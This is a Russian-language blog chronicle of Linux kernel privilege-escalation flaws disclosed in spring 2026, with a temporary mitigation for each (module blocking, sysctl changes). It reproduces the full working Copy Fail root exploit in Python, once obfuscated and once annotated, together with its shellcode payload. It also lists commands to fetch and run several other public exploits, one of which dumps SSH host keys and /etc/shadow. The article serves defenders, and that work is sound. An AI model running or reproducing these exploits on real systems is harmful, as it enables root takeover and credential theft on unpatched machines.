Хроники апокалипсиса: Copy Fail,Dirty Frag, Fragnesia и другие
Весна 2026 года надолго запомнится как специалистам по компьютерной безопасности так и простым сисадминам, поскольку именно тогда прошла волна эпических уязвимостей в ядре Linux, затронувшая очень многие дистрибутивы.
При этом исследователи, обнаружившие все эти страшные дыры почему-то не заморачивались вопросами whitehat-этики, сразу же выдав широким массам действующие боевые эксплоиты, для каждой отдельной уязвимости.
Автора эта волна тоже накрыла, заставив в авральном режиме патчить и обновлять хозяйские сервера вместо майских праздников.
Восстанавливаю хронологию событий.
Старикам тут не место
Конечно же уязвимости в ПО появились далеко не вчера. Разного масштаба, сложности и убойности — они обнаруживались в любом софте, вне зависимости от крутости создателей и приложенных усилий по защите. Ну а эксплуатация найденного «заинтересованными лицами» временами приводила к серьезным последствиям.
Тем не менее, было и общее понимание, что «уязвимости это сложно»:
сложно найти уязвимость, сложно добиться ее повторяемости, сложно эксплуатировать.
Когда-то считалось, что все связанное с эксплоитами, эскалацией привилегий и удаленным доступом — не для детей для серьезных профессионалов, которые понимают что они делают и несут ответственность за последствия.
В качестве примера такой ответственности исходный код эксплоитов, попадавших в публичный доступ раньше специально «минировался»:
вставлялась заглушка, не позволяющая запуск «из коробки» и требующая навыков программирования чтобы ее убрать.
Чем получалось довольно эффективно отгонять от опасного софта всяких «script kiddies» — малолетних недоучек, от чьих безответственных действий происходили основные разрушения.
Ну и само собой разумеется, что PoC (Proof of Concept) — программная демонстрация уязвимости никогда не содержал ничего опаснее запуска калькулятора или приветственного сообщения.
Однако весной 2026 года каждый подросток, страдающий от неразделенной любви имеющий доступ к компьютеру с интернетом получил уникальную возможность, при определенных обстоятельствах, «зашатать насмерть» практически любой компьютер с Linux:
выложенные публично PoC не требовали ни серьезной квалификации ни усилий для запуска — скачал, запустил, получил root.
«Практически любой» разумеется с оговорками, поскольку на момент написания статьи еще не было информации о применимости этих уязвимостей на мобильных устройствах (Android) и отличных от x86 архитектурах.
Несмотря на пристальное внимание автора к компьютерной безопасности и определенные навыки, столь мощная волна уязвимостей и (что важнее) реакция других специалистов оказалась полной неожиданностью.
Ниже вас ждет описание весенних событий, с датами появления уязвимости, применимостью и шагами по устранению.
Сразу замечу, чтобы исключить ненужные вопросы:
указанные даты являются датами выкладки публичных эксплоитов (PoC), не датами раскрытия информации об уязвимости или заведения CVE с номером.
Читать обзоры свежих CVE это безусловно важно, интересно и даже полезно (если только не перед сном), но на серые админские будни (и работу в выходные) куда сильнее влияет действующий эксплоит, нежели описание очередной страшной уязвимости.
29 апреля: раскрытие Copy Fail
Вот этот крохотный код на Python, будучи запущенным на любом Linux — любом ядре и дистрибутиве, выпущенном после 2017 года на момент написания статьи безошибочно выдавал права суперпользователя:
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")На момент обнаружения уязвимости и первых тестов, все рабочие машины автора и большая часть серверов клиентов, которые только успели проверить оказались уязвимыми:
Предоставленный PoC — на самом деле настоящий боевой эксплоит стабильно отрабатывал везде, наплевав на различия в дистрибутивах, версиях ядер и системных библиотек:
29 апреля уязвимость была обнародована, 30го обнаружена автором и как только он перестал вырывать последние волосы из разных интересных мест — мы немедленно начали проверять инфраструктуру.
Так что майские праздники как-то сразу не задались.
Временное решение
Хотя официальное исправление давно попало в основную ветку ядра (mainline), далеко не факт, что оно успело добраться до ментейнеров вашего дистрибутива, а обновление — до вашей системы:
на 30 апреля 2026 года публичный PoC, выложенный в репозитории Github спокойно отрабатывал как на Ubuntu/Debian, так и на RHEL/Rocky, причем как на текущих так и на LTS-версиях, со всеми возможными обновлениями.
С учетом масштаба проблемы, точно стоит проверить ваши собственные серверы с Linux на данную уязвимость, что советую сделать администраторам и всем и причастным.
Если в вашей системе модуль algif_aead не был собран как часть ядра (builtin) и является выгружаемым, достаточно вызвать:
rmmod algif_aead
Затем отключить загрузку уязвимого модуля:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
Тут стоит пояснить важное отличие более известной директивы blacklist от install с указанием /bin/false в качестве аргумента.
В отличие от blacklist, запрещающего автоматическую загрузку, install указывает на использование внешней команды для загрузки модуля:
install modulename command
This command instructs modprobe to run your command instead of
inserting the module in the kernel as normal.Указав в качестве такой команды /bin/false получим невозможность загрузить проблемный модуль даже вручную, с помощью modprobe. Что безусловно важно для подобных сценариев.
Если же модуль algif_aead был собран без возможности выгрузки, остается только заблокировать на уровне systemd использование уязвимого типа сокета.
Создаем /etc/systemd/system/service.d/afalg-block.conf с таким содержимым:
[Service] RestrictAddressFamilies=~AF_ALG
Кстати AF_ALG это именно тип сокета, другие варианты значений для этого ключа выглядят так:
Предваряя очевидный вопрос читателей, стоит сразу пояснить, что описанные выше шаги по устранению в общем случае безопасны, поскольку уязвимость находится в специфичном модуле, не имеющем широкого применения.
В крайнем случае, тут находится патч ядра, закрывающий данную уязвимость, который можно перенести вручную в вашу сборку.
Теперь стоит рассказать как же так получилось.
Разбор уязвимости
Вот тут находится довольно объемный официальный разбор логики работы этой уязвимости от обнаруживших ее исследователей, но к сожалению ввиду эпичности проблемы открываются все новые варианты использования, поэтому хотя разбор все еще актуален — описывает он далеко не все.
Оригинальный код PoC немного обфусцирован ради уменьшения размеров и не содержит комментариев, поэтому привожу развернутую версию с переводом:
#!/usr/bin/env python3
import os as os_module
import socket as socket_module
import zlib
# Обертка над функцией конвертации HEX-строки в массив байт
def hex_to_bytes(hex_string):
return bytes.fromhex(hex_string)
# Перезаписать 4-байтовую последовательность chunk (patch_bytes)
# по смещению (chunk_offset)
# в дескрипторе (target_fd)
# с помощью AEAD-сокета для записи в целевой файл
def patch_chunk(target_fd, chunk_offset, patch_bytes):
# Cоздание сокета с указанием типа AEAD
# (Authenticated Encryption with Associated Data)
crypto_socket = socket_module.socket(38, 5, 0)
# Вызов метода bind (аналог прослушивания для обычных сокетов)
# с указанием алгоритма: AES-CBC с HMAC-SHA256
crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# 279 это числовая константа SOL_ALG
# define SOL_ALG 279
sol_alg = 279
set_socket_option = crypto_socket.setsockopt
# Установка ключа шифрования (16-байтовый AES, заполненный нулями)
set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64))
# Установить размер буфера для данных авторизации
# 5 это константа ALG_SET_AEAD_AUTHSIZE
set_socket_option(sol_alg, 5, None, 4)
# Вызов метода accept() как для обычных сокетов
# для получения дескриптора
crypto_connection, _ = crypto_socket.accept()
# Вычисление смещения для записи в целевой файл
write_offset = chunk_offset + 4
# нулевой байт используется для разделения полей
# управляющего сообщения
null_byte = hex_to_bytes("00")
# Отправка блока данных с управляющими сообщениями (IV, seq number, op)
crypto_connection.sendmsg(
[b"A" * 4 + patch_bytes], # 4-байта заголовок + 4-байта данные
[
(sol_alg, 3, null_byte * 4), # IV (нули, 4 байта)
(sol_alg, 2, b"\x10" + null_byte * 19), # номер последовательности / шум
(sol_alg, 4, b"\x08" + null_byte * 3), # дополнительные флаги
],
32768, # флаг MSG_SPLICE_PAGES для передачи данных
#с помощью функции splice напрямую в сокет
)
# Создание пайпа для передачи данных из AEAD-сокета в целевой файл
pipe_read_fd, pipe_write_fd = os_module.pipe()
splice_data = os_module.splice
# Копирование данных в конец пайпа
splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0)
# Копирование (Splice) из пайпа в дескриптор AEAD-сокета (перезапись целевого файла)
splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset)
try:
# Чтение ответа из AEAD-сокета
crypto_connection.recv(8 + chunk_offset)
except Exception:
pass
# Открытие целевого файла для операций чтения/записи
# 0 это константа O_RDONLY, для записи используется вызов splice выше)
target_fd = os_module.open("/usr/bin/su", 0)
chunk_offset = 0
# распаковка пейлоада (см ниже): последовательность 4-байтовых блоков
# для перезаписи целевого файла
payload_bytes = zlib.decompress(
hex_to_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
# Проход циклом по распакованному пейлоаду,
# обработка 4-байтовой последовательности за раз
while chunk_offset < len(payload_bytes):
patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4])
chunk_offset += 4
# Запуск пропатченного целевого файла su
os_module.system("su")Код выше, как можно заметить, содержит т. н. «payload» — длинную закодированную строку, с исполняемым приложением внутри.
Этот payload на самом деле простая заглушка и все что она делает — вызывает шелл по-умолчанию с правами суперпользователя.
Восстановленный код payload на ассемблере выглядит следующим образом:
xor eax, eax
xor edi, edi
mov al, 0x69 ; syscall 105 = setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; pointer to "/bin/sh"
xor esi, esi ; argv = NULL
push 0x3b
pop rax ; syscall 59 = execve
cdq ; rdx = 0, envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi
push 0x3c
pop rax ; syscall 60 = exit
syscallТут происходит достаточно очевидный последовательный вызов трех системных функций (syscall) для запуска шелла с привилегиями суперпользователя.
Ниже версия на С, для большей наглядности:
int main(void) {
setuid(0);
execve("/bin/sh", NULL, NULL);
_exit(0);
}К сожалению, история с «Copy Fail» оказалась лишь началом длинной волны уязвимостей, которые в итоге серьезно повлияли на оценку рисков в ИТ-отрасли и дальнейшее развитие индустрии кибербезопасности.
Что такое LPE
Прежде чем описывать дальше хронику «весеннего апокалипсиса», стоит пояснить читателям, что вообще такое этот самый «Local privilege escalation» (LPE) и почему с подобных уязвимостей седеют волосы у всех более-менее опытных специалистов по компьютерной безопасности.
По неизвестной автору причине в сети часто встречается мнение, будто LPE-уязвимости это фигня не страшно, поскольку требуют доступа к системе, пусть и непривилегированного.
С одной стороны это мнение обосновано, поскольку LPE куда менее разрушительно, чем например Remote code execution (RCE) — примерно как удар ножом менее опасен, чем выстрел из дробовика в упор.
С другой.. с другой стороны стоит знать, что «в чистом виде» никакие уязвимости не встречаются и при реальной атаке на вашу драгоценную инфраструктуру будет использована комбинация из разных техник и векторов атак. Не обязательно только технических.
А в нынешних непростых реалиях, все это действо будет происходить еще и при активномсоучастии ИИ.
Ниже несколько характерных примеров.
Веб-разработчик
Допустим, вы простой веб-разработчик, ничего не знающий о сетях и компьютерах дальше родных Angular и React, за которые вам и платят миску риса сказочную зарплату.
Каждый день для выполнения рабочих задач вы запускаете что-то вроде:
npm install
При установке большинства NPM-пакетов происходит выполнение кода с правами текущего пользователя, что является нормой для всех современных пакетных менеджеров.
В случае компроментации пакета (что уже случалось неоднократно), в код установки будет внедрен зловред, реализующий эскалацию привилегий через LPE-уязвимость, что позволит намертво закрепиться в системе.
И например что-нибудь удалить.
DevOps
Допустим, вы простой сельский DevOps, занятый обслуживанием серверов, на которых происходят пересборки корпоративных проектов.
Во время сборки проекта, CI-сервер запускает процессы на сервере с привилегиями локального пользователя и если в основной скрипт сборки или обслуживающие (вроде хуков git) попадет зловред, эксплуатирующий LPE-уязвимость — сервер очень быстро перестанет быть вашей собственностью.
И начнет например майнить крипту, но только к сожалению уже не для вас.
Кстати CI-сервер является в настоящее время чуть ли не самой интересной точкой атаки для хакеров, о чем я уже неоднократно рассказывал.
DBA
Допустим, вы простой DBA и администрируете корпоративные серверы с Oracle или PostgreSQL.
Большинство популярных СУБД позволяют выполнение кода на сервере, о чем знают далеко не все администраторы.
Если код зловреда, эксплуатирующий LPE-уязвимость каким-то образом попадет на сервер и там выполнится — можно будет попрощаться с данными компании, а затем (скорее всего) и с работой.
Думаю этих примеров хватит для осознания глубины проблемы и возможных рисков, так что возвращаемся обратно к «хроникам апокалипсиса».
7 мая: раскрытие "Dirty Frag"
Едва отойдя от иприта истории с «Copy Fail» и закончив патчить и обновлять вверенные сервера и рабочие станции, мы обнаружили в публичном доступе новый PoC для новой критической LPE-уязвимости в ядре Linux:
Dirty Frag is a vulnerability (class) that achieves root privileges on most Linux distributions by chaining the xfrm-ESP Page-Cache Write vulnerability and the RxRPC Page-Cache Write vulnerability.
Как и в случае с «Copy Fail», исследователи, раскрывшие данную уязвимость не заморачивались этикой и вывалили в публичный доступ фактически боевой эксплоит под видом PoC. Причем до официальных исправлений даже в mainline ядра. Хотя в этот раз вроде как по ошибке.
Так выглядело пробитие с последующим получением root-привилегий на одной из рабочих машин автора, на момент написания статьи:
Шаги запуска PoC для проверки:
git clone https://github.com/V4bel/dirtyfrag.git cd dirtyfrag gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Если ядро уязвимо и PoC отработает — получите root-доступ, в этом случае стоит сбросить отравленный кеш, который эксплуатирует уязвимость:
echo 3 > /proc/sys/vm/drop_caches
Так выглядел таймлайн этой уязвимости, обратите внимание на очень короткие сроки между первым отчетом в трекер Ubuntu, публичным раскрытием и финальным патчем в mainline ядра:
Подробный разбор уязвимости находится тут, из интересного — комбинирование двух раннее известных уязвимостей ядра: xfrm-ESP Page-Cache Write и RxRPC Page-Cache Write.
Исходный код публичного PoC, эксплуатирующего уязвимость «Dirty Frag» оказался довольно объемным (почти 2к строк) и судя по виду основная его часть создана с помощью ИИ внутри находятся два разных эксплоита, которые по отдельности можно изучить тут.
«Профессор, зачем вы вживили мозг Гитлера большой белой акуле?» (ц)
Сложно сказать чем руководствовался человек, создавший микс из двух убойных 0-day эксплоитов а затем выложивший полученный результат в публичный доступ под видом невинного PoC, но это была точно не любовь к людям.
В итоге столь интересных экспериментов, в шаловливые ручки всем желающим, страждущим и заинтересованным попало настоящее кибер-оружие, причем совершенно бесплатно:
Because it is a deterministic logic bug that does not depend on a timing window, no race condition is required, the kernel does not panic when the exploit fails, and the success rate is very high.
И снова (на момент написания статьи) большая часть наших рабочих станций и серверов оказалась уязвимой, что вновь потребовало внесения патчей, либо отключения уязвимых модулей.
Разумеется в авральном режиме, в праздничные дни и с остановкой работ — все как мы любим (нет).
Временное решение
Скорее всего на момент публикации страсти улягутся официальные исправления доедут таки во все основные и даже экзотические дистрибутивы Linux и вам будет достаточно обновить любимую систему стандартным способом.
В качестве временной меры (если например нет возможности перезагрузить сервер) можно выгрузить уязвимые модули ядра:
rmmod esp4 esp6 rxrpc
Затем заблокировать их последующую загрузку:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; true"
Ну и самым сложным вариантом является ручной перенос этого патча ядра, закрывающего уязвимость в вашу версию.
В процессе исправления инфраструктуры и попутно изучая материалы по «Copy Fail» и «Dirty Frag», мы уже начали догадываться, что поток LPE-уязвимостей будет только расти, но все же надеялись на лучшее.
13 мая: раскрытие "Fragnesia"
К сожалению «лучшее» или даже «хорошее» к нам так и не пришло, поскольку всего через неделю после «Dirty Frag» в публичный доступ уже буднично выложили боевой PoC для новой эпической LPE-уязвимости:
Fragnesia (CVE-2026-46300) is a universal Linux local privilege escalation exploit, discovered with V12 by William Bowling with the V12 team.
пробив практически всех серверов и рабочих станций, исправления в режиме аврала, вырывание волос и бегание по потолку от радости.
Как сообщают исследователи, обнаружившие уязвимость:
All versions affected by dirtyfrag are affected.
Что не могло не обрадовать, поскольку вышедший неделей ранее «Dirty Frag» пробивал практически все популярные дистрибутивы Linux.
git clone https://github.com/v12-security/pocs.git cd pocs/fragnesia gcc -o exp fragnesia.c && ./exp
Если PoC отработает, точно также как и c «Dirty Frag» будет необходимо сбросить «отравленный кеш»:
echo 1 | tee /proc/sys/vm/drop_caches
Работу эксплоита для «Fragnesia» в динамике можно увидеть на начальной картинке к статье, так выглядит финальный результат в виде полученного шелла с root-привилегиями:
Как и в случае с «Copy Fail», исследователям из команды V12 обнаружить эту страшную уязвимость активно помогал искусственный интеллект, поэтому исходный код PoC весьма витиеватый и вычурный объемный и сложный.
Временное решение
Поскольку уязвимость очень похожа на «Dirty Frag», метод временного решения полностью аналогичен, для начала выгружаем проблемные модули:
rmmod esp4 esp6 rxrpc
Затем блокируем дальнейшее их использование:
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
Патч исправлением уязвимости находится тут, на момент публикации статьи он должен был попасть в mainline ядра Linux, но скорее всего не успел добраться до основных дистрибутивов.
14 Мая, раскрытие ssh-keysign-pwn
Не успев выдохнуть после «Fragnesia», буквально на следующий день весь мир вместе с автором узрел новую эпическую дыру в ядре Linux:
Steal SSH host private keys and /etc/shadow via the ptrace_may_access mm-NULL bypass + pidfd_getfd. Pre-31e62c2ebbfd kernels.
Конечно же с действующим эксплоитом, выложенным для широкой аудитории под видом PoC.
И хотя конечно я рад что исправление для этой уязвимости сделал лично Линус Торвальдс, но столь интересное и заманчивое предложение по временному исправлению.. слегка поразило:
Exploiting the vulnerability doesn’t require to load any specific modules like the bugs from the last weeks, this one needs to be fixed by rebooting the system into an updated kernel.
Старые шутки из Windows про «попробуйте перезагрузить» больше не кажутся смешными, раз подобное теперь предлагают разработчики ядра Linux.
Так выглядит этот «невинный PoC» в действии:
git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git cd ssh-keysign-pwn make ./sshkeysign_pwn # покажет ssh-ключи сервера ./chage_pwn root # покажет содержимое /etc/shadow
Если шаги отработают — увидите в терминале дамп серверных ключей.
Временное решение
Оно существует, но с весьма нехорошими последствиями для последующего обслуживания:
The mitigation disables the ability of unprivileged users to attach to other processes using the ptrace() system call. This is generally used by debuggers.Да, вы правильно поняли — в качестве временного решения предлагается отключить возможность отладки на уязвимой системе.
Для автора — действующего программиста, подобное предложение мягко говоря «мало приемлемо», но в вашем случае решать все же вам.
Выставляем параметр ядра kernel.yama.ptrace_scope в значение 2 либо 3:
sysctl kernel.yama.ptrace_scope=3
Сохраняем настройку для автоматического применения при перезапусках:
echo kernel.yama.ptrace_scope=3 > /etc/sysctl.d/99-CVE-2026-46333.conf
Значение 2 блокирует использование ptrace() для пользователей без привилегии CAP_SYS_PTRACE, значение 3 полностью отключает возможность отладки запущенныхх процессов.
Стоит заранее предупредить, что значение 3 после установки не получится откатить без перезагрузки системы.Вот такая веселая уязвимость, впрочем это был еще далеко не конец.
17 Мая, раскрытие DirtyDecrypt / DirtyCBC
Три дня спустя праздник LPE-апокалипсис продолжился — в публичный доступ выложили PoC для новой уязвимости:
DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on May 9, 2026, but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline.
Тут находится ее детальный разбор, но главная проблема на этот раз лежала в другой плоскости:
найденная уязвимость была помечена ментейнерами ядра Linux как дубликат и подразумевалось, что исправление для нее в mainline уже добавлено.
Поэтому 17 мая исследователи из V12, обнаружившие «DirtyDecrypt» совершенно спокойно выдали заинтересованной публике рабочий PoC, который внезапно зажил своей жизнью:
Хотя данная уязвимость уже не так универсальна и требует определенных условий для выполнения:
successful exploitation requires running a Linux kernel with the CONFIG_RXGK configuration option, which enables RxGK security support for the Andrew File System (AFS) client and network transport.
Поэтому в частности этот PoC не отработал на наших собственных серверах и рабочих станциях.
Однако даже со столь серьезными ограничениями по применимости, исследователям удалось пробить такие популярные дистрибутивы как Fedora, Arch и openSUSE.
Также, по всей видимости из-за неразберихи с дублированием, получилось что официальная запись CVE-2026-31635 и ряд бюллетеней от крупных вендоров не содержит указания именно на LPE и помечает данную уязвимость как «medium».
При этом действующий PoC, реализующий LPE для данной уязвимости никто не отменял:
git clone https://github.com/v12-security/pocs.git cd pocs/dirtydecrypt gcc poc.c -o poc ./poc
Если PoC отработает на вашей системе, не забудьте сбросить кеш:
echo 3 > /proc/sys/vm/drop_caches
Временное решение
В качестве временного решения используются те же самые шаги, что и для «Dirty Frag»/«Fragnesia»:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf" rmmod esp4 esp6 rxrpc 2>/dev/null
Т.е. точно такое же отключение уязвимых модулей ядра.
20 мая, раскрытие "GRO Frag"
Еще через три дня прилетели инопланетяне и всех поработи.. конечно же нет (не дождетесь), просто буднично выложили эксплоит для новой LPE-уязвимости в ядре Linux:
gro_frag.c — LPE via GRO managed-frag UAF (io_uring SEND_ZC + veth)
На этот раз в виде безымянного gist, не успев завести даже CVE с номером — полное попрание всех устоев индустрии.
При этом выложенный эксплоит (PoC) очень даже работает:
CVE на эту уязвимость на момент создания статьи все так же нет, зато публичный эксплоит отлично работает:
И что спрашивается со всем этим делать простому администратору?
Временное решение
Слава богу что временное решение для данной уязвимости хотя-бы существует и заключается в выставлении параметра ядра:
sysctl kernel.io_uring_disabled=2
Данный параметр либо полностью либо частично отключает функционал подсистемы io_uring, проблема лишь в том что данный функционал широко используется в высоконагруженных системах:
io_uring is a Linux kernel system call interface for storage device asynchronous I/O operations. It addresses performance issues with similar interfaces provided by functions likeread()/write()oraio_read()/aio_write()for operations on data accessed by file descriptors.
Так что вся ситуация опять сводится к известной шутке про «два стула». Решение какой из стульев выбрать оставляю за вами, дорогой читатель.
Если вы абсолютно уверены, что сервисы, использующиеio_uring в вашей системе не имеют уязвимостей — ситуацию можно немного смягчить, указав параметру выше значение 1:
sysctl kernel.io_uring_disabled=1
В этом случае доступ к io_uring будут иметь только члены группы io_uring_group.
Патч ядра для закрытия этой уязвимости находится тут, если появится необходимость перенести исправление вручную.
28 мая, раскрытие CIFSwitch
Известная цитата из третьего «Крестного Отца» отлично описывает настроения ИБ-специалистов под конец мая. Видимо чтобы добить окончательно, в качестве «контрольного выстрела» был обнародован PoC для еще одной LPE-уязвимости:
CIFSwitch (CVE-2026-46243) is a distro-specific Linux LPE found by harnessing LLMs into better multihop knowledge composition
Снова обнаружение с помощью ИИ и снова действующий эксплоит, выданный широким массам ради лулзов под видом невинного PoC.
В качестве примера скриншот из Mageia Linux, которая кстати не фигурирует в списках уязвимых систем и конфигураций, что должно навести на определенные нехорошие мысли:
Теперь стоит рассказать о «временном решении» для CIFSSwitch, поскольку патч ядра скорее всего не успел доехать до вашего дистрибутива.
Временное решение
Согласно рекомендации исследователей, ответственных за этот цирк нашедших эту интересную уязвимость, шаги для временного исправления выглядят следующим образом.
Выгружаем модуль cifs и блокируем его последующую загрузку:
rmmod cifs echo install cifs /bin/false > /etc/modprobe.d/cifsswitch.conf
Удаляем из системы уязвимый пакет cifs-utils и блокируем правило по-умолчанию, для запроса ключей Kerberos:
cat >/etc/request-key.d/cifs.spnego.conf <<'EOF' create cifs.spnego * * /usr/sbin/keyctl negate %k 30 %S EOF
По идее этих шагов должно хватить, чтобы ваш драгоценный сервер не взломали до выхода официальных патчей.
модуль CIFS в ядре отвечает за работу с удаленными дисковыми томами по протоколу SMB, а «опциональный» Kerberos активно используется при авторизации в домене Microsoft Windows.
Так что шаги по устранению выше хоть и решат проблему с уязвимостью, но также приведут к невозможности использовать те самые «вендовые шары» с Linux или работать с Windows-доменом.
Что для некоторых сфер применения Linux-серверов равнозначно идее «отпилить себе левую руку в качестве временного решения».
Эпилог
Хотя критические уязвимости и серьезные утечки случались и ранее, столь мощной волны дичи критических проблем в таком фундаментальном проекте как ядро Linux не было никогда.
По моим наблюдениям, события весны 2026 года однозначно негативно повлияли на всю индустрию информационной безопасности, серьезно подорвав как авторитет ИБ-специалистов, так и доверие к информационным системам вообще.
Когда раз за разом в течение одного месяца, с разницей всего в пару дней в публичный доступ выкладывают практически 0-day эксплоиты, причем с мотивацией уровня «гы-лол-аза-за» — становится невероятно сложно обосновывать необходимость остановки серверов и проверки инфраструктуры.
Я специально сделал эту статью в виде хроники с указанием конкретных дат, чтобы дать читателям понимание:
при такой скорости выкладывания действующих PoC для серьезных уязвимостей, никому не получится угнаться за этим процессом и обновлять все свои системы вовремя.
Что к сожалению подтверждается практикой, поскольку очень мало кто из моих коллег также «держит руку на пульсе» этих событий и тем более имеет желание и возможности регулярного обновления своих серверов.